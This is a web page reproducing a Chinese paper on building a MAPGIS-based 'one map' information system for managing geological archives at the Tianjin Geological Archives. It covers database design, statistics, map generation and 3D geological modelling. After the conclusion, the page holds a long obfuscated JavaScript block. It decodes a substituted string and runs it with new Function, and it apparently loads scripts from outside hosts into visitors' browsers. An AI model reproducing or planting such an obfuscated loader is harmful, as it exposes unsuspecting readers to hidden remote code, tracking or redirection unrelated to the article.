基于MAPGIS 平台的地质资料一张图管理信息系统建设

2025-03-31 02:52:22
推荐回答(1个)
回答1:

马 锋 刘玉超 杨书畅

(天津市地质资料馆)

摘 要 利用 MAPGIS 平台、ACCESS 数据库和 ORACLE 数据库,建立地理底图、原始地质资料、成果地质资料、实物地质资料信息的空间数据库和属性数据库,开发地质数据统计分析、地质图件绘制、三维地质体建模等功能,建成基于 MAPGIS 平台的地质资料一张图管理信息系统,实现地质资料的集成化,以促进地质资料的二次开发和社会利用工作。

关键词 地质资料 数据集成 信息系统 一张图管理

0 前言

在地质工作中形成的地质资料分为原始地质资料、成果地质资料和实物地质资料,由馆藏机构进行管理和提供利用。天津市地质资料馆馆藏天津地区资料近 3000 档,最早是 1931 年形成的《盘山附近地质》,馆藏地质资料信息庞大,但是信息分散。为了便于借阅者利用,近年来开展了大量的档案管理工作,建立了地质资料目录数据库,开展了地质资料数字化存储,开发了地质成果浏览系统。

随着城市建设的快速发展,对于地质资料的需求也日益迫切,以往提供地质资料时间长的现象难以满足新时期的工作要求。这就需要我们对以往地质资料进行整理、汇总和集成,以便能够及时、快速、准确地提供地质资料。基于此目的,结合目前地理信息系统的技术发展和天津市城市地质工作的成果,提出了天津市地质资料一张图管理信息系统建设的思路。即基于MAPGIS平台,实现地质资料信息的存储、浏览、提供利用的集成化管理。

1 地质资料的一张图管理信息系统结构

1.1 地质资料信息组成

建立地质资料的一张图管理信息系统,要集中馆藏所有地质资料的信息,主要分为 4 个方面:地理底图信息,包括地理底图和遥感影像;成果地质资料,包括成果报告和成图图件;原始地质资料,包括野外调查、钻探、试验、物探、化探、观测的所有地质工作基础信息;实物地质资料,主要是记录该实物的照片、影像等信息。这些信息通过建立属性数据库和空间数据库进行存储。地质资料的一张图数据结构见图 1。

1.2 地质资料信息专业分类

依据成果地质资料目录数据库著录要求中地质资料分类标准,并结合天津地质工作进展、地质资料利用的实际情况,在此系统中把地质资料按照地质专业分为十类:基础地质类、工程地质类、水文地质类、环境地质类、固体矿产地质类、地热地质类、地球物理类、地球化学类、遥感类及其他类。

图 1 地质资料的一张图数据结构

2 数据库建设

2.1 建库平台的选择

数据库分为属性数据库和空间属性库。属性数据库建设采用广泛应用的数据库软件 ACCESS 软件;空间属性库建设采用国内国土系统中使用最为广泛、专业人员使用熟悉、以往地质调查成果图形文件都采用的 MAPGIS 系统平台;形成的属性数据、空间数据在服务器中利用 ORACLE 数据库软件存储管理。

2.2 空间数据库建设

空间图形数据库包括基础地理空间数据库和地质成果信息空间数据库。

地理底图以天津市 1∶100 万、1∶5 万和 1∶1 万基础地理数据作为空间参考依据,按照地质地理底图编绘标准,用现势性数据进行补充,进行制图综合概括后,建立本系统基础地理图层。空间数据分为水系层、公路层、铁路层、居民地层、行政区划层。在系统运行中,底图采用分级显示方法,在不同比例尺下,显示不同的地理位置精度,实现视觉美观和工作精度的协调。

在地理底图基础上,在 MAPGIS 的图形编辑系统中,输入每个地质工作点的地理坐标,形成工作区域空间数据;输入各类地质图件的地质要素信息,形成地质成果空间数据。空间数据由 MAPGIS 系统文件点(*.WT)、线(*.WL)、面(*.WP)三种结构进行存储。空间数据库的图元、线型、颜色、图案依据相应的地质矿产制图标准编制,对于没有标准规范新添加的图元、图案进行统一的编号和备注。

遥感影像采用空间分辨率为 0.6 米的卫星相片。在系统中和地理底图叠加,互相对照使用。

2.3 属性数据库建设

属性数据库包括基础地理信息数据库、地质信息数据库。

基础地理信息数据库存放行政区域、行政界线、居民地、交通、河流、湖泊等自然要素和社会要素的属性信息。

地质信息属性库存放在地质调查中通过仪器、实验室分析或野外观察直接获取或收集的原始地学数据与信息。包括地貌调查观测原始资料,钻孔探槽的原始资料和各种测试数据,地质灾害调查中获取的地面沉降监测设施和原始数据,地下水监测原始数据资料,地热井监测原始数据,环境地球化学调查中获取的土壤、地下水、地表水采样原始资料;地球物理勘探原始数据,实物地质资料及汇交的成果资料。设计了一系列的 ACCESS 数据表,把基础地理信息和地质信息分解到每一个表中。如基础地质设计类,设计了基岩地质钻孔基本情况表、基岩地质钻孔分层表、新生界地质钻孔基本信息、新生界地质钻孔分层表、新生界地质钻孔孢粉数据表、新生界地质钻孔微体组合表、新生界地质钻孔测年成果数据表等,通过地质项目、钻孔等主键把对专业的 ACCESS 数据表进行有机的联系。

以工程地质专业为例,在勘查工作过程中形成的资料主要包括三方面:钻孔基本信息、钻孔原位测试信息和钻孔样本试验数据;工作最终提交工程地质勘查报告。依据天津市工程地质工作实际情况,初步建立了 15 个基于 ACCESS 软件的数据表,见图 2。通过这 15 个数据表来存储工程地质资料数据信息。

图 2 工程地质钻孔数据表结构图

在这 15 个表中,钻孔基本信息为主表,测试数据表和试验数据表中其他表为子表,钻孔基本信息表和水样水质分析表通过项目编号建立联系,钻孔基本信息表和其他表通过钻孔编号建立联系。

提交的勘查报告和附图、附件形成 PDF 格式文件,和钻孔基本信息表中的项目名称建立关联。

3 地质资料一张图管理信息系统功能

3.1 GIS 基本操作功能

能够完成地图在浏览器中的显示及在浏览器中实现对地图的基本操作。地图显示,包括地理要素的显示和地质数据的显示;地图浏览操作,要完成地图的移动、放大、缩小、刷新、复位、距离量测、面积量测、图层控制等。

3.2 成果信息查询浏览功能

信息查询就是通过点击查询、圆形查询、矩形查询、任意多边形查询等方式,由系统显示出所查询范围内符合要求的对象属性列表,并利用图形和属性的对应关系,实现数据的查询和地质点的快速定位;信息浏览是在查询的基础上,通过显示插件,可以快速浏览查看每一地质项目的成果报告及附图、附件。

3.3 数据的统计分析功能

按照数据统计的要求,对统计单元内的数据进行统计,统计的指标有样本数量、最大值、最小值、平均值、均方差、变异系数等,统计结果可以输出表格文件,见图 3。

通过统计分析功能,可以统计出用户指定区域或条件的地质资料分类统计信息,并生成相应的统计图表,表现形式有曲线图、直方图、散点图、饼图、三维直方图、三维饼图等,见图 4。

3.4 相应地质图件的绘制功能

钻孔位置平面图的绘制:通过工程地质数据库提取钻孔的位置和钻孔分类信息,把反映工作区域的钻孔信息投影到地理底图上,形成钻孔的平面位置图;

柱状图、剖面图的编制:根据用户选择的钻孔和预先制作好的模板,按照一定的标准样式出图,自动生成各专业钻孔柱状图;

图 3 工程地质土层物理力学参数统计输出图

图 4 各类地质资料信息统计分析输出图

等值线图的编制:根据数据库中的钻孔位置、层顶埋深、层底埋深、层厚或者其他的有关数据、钻孔数据,自动生成指定范围内的地层等值线图;

综合分析地质图的编制:例如对钻孔地下水的水质分析的计算,计算出每个点的腐蚀性强弱,按照等值线图的编辑办法,编制综合分析地质图。

3.5 三维模型的可视化功能

首先,在全区范围内建立一套一致的、宏观上的、具有固定层序的地层划分方案,系统对具有层序规律的地层模型采用“钻孔→剖面→地层实体”的自动构建技术,可根据钻孔、剖面等数据,快速、自动、动态建立指定范围内的三维地层结构模型;对于复杂的地质问题,计算机不能完全基于剖面等数据自动建立地质体或地质构造的三维模型,如断裂发育的基岩地质模型,采用基于交叉剖面的交互式建模方法,利用建模区域内多条交叉剖面将空间分割成多个单元格;建模的最小单元就是一个个单元格,利用单个单元格内一系列闭合轮廓线建立起曲面片,进而确定该单元格内所有地质体的空间几何形态,形成一个单元格地质块,最后将每个单元格的地质块进行合并形成完整的地质体模型。

形成的三维地质体可以进行平面剖切、水平剖切、斜切、折线垂直剖切、组合剖切等多种剖切方式,以展示切割面的地质情况;在三维地质体内,可以通过分析钻孔遇到的地层结构及属性并结合周围已知钻孔资料,创建虚拟钻孔,像钻探一样得到的地层结构和属性;对三维地质体进行隧道切割,系统按照用户设定的路径(任意起伏变化)和隧道截面(矩形、圆形、拱形)参数生成隧道模型的切割方式,通过隧道与地质体的切割,将隧道内地质体挖掉,只保留壁上带有岩性的隧道空腔;接下来,用户可根据路径和视角在场景中变化,可在隧道中漫游,查看隧道内地层分布变化情况,见图 5。

图 5 隧道漫游的效果图

4 结语

随着计算机技术和地理信息系统的快速发展,计算机辅助管理和决策的作用会越来越强。通过地质资料一张图管理系统的建设,地质资料管理不仅仅只是起到一个仓库的作用,而是紧密地把档案管理和地质成果管理联系在一起,实现了地质资料的有机整合和集群,对于地质资料的二次开发和利用具有重要的意义。

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();